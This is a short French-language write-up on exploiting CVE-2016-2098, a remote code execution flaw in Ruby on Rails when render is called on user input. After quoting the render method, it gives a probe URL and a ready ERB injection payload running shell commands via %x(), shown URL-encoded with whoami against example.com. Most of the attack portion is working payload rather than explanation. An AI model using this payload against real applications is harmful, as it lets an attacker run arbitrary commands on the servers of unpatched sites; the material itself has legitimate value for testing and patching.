
Vulnérabilité d'exécution de code à distance dans Ruby-on-Rails lors de l'utilisation de render sur des données fournies par l'utilisateur.
Vulnérabilité d'exécution de code à distance dans Ruby-on-Rails lors de l'utilisation de render sur des données fournies par l'utilisateur.
Ce problème provient de l'utilisation de la méthode render sur des données fournies par l'utilisateur.
La méthode render est généralement utilisée pour afficher une page à partir d'un modèle, mais la méthode render permet également aux développeurs d'afficher du texte brut (plaintext) et même du code en ligne (inline).
Fonction render :
# File actionpack/lib/abstract_controller/rendering.rb, line 23
def render(*args, &block)
options = _normalize_render(*args, &block)
rendered_body = render_to_body(options)
if options[:html]
_set_html_content_type
else
_set_rendered_content_type rendered_format
end
_set_vary_header
self.response_body = rendered_body
end
URL cible :
http://example.com/?view=test
Exploitation :
http://example.com/?view[inline]=OK
Si 'OK' s'affiche dans le code source, alors l'application web est vulnérable à CVE-2016-2098.
<%= %x('[CMD]') %>
Nous pouvons remplacer CMD par la commande que nous voulons exécuter.
<%= %x('whoami') %>
Après encodage URL :
%3C%25=%20%25x(whoami)%20%25%3E
Final :
http://example.com/?view[inline]=%3C%25=%20%25x(whoami)%20%25%3E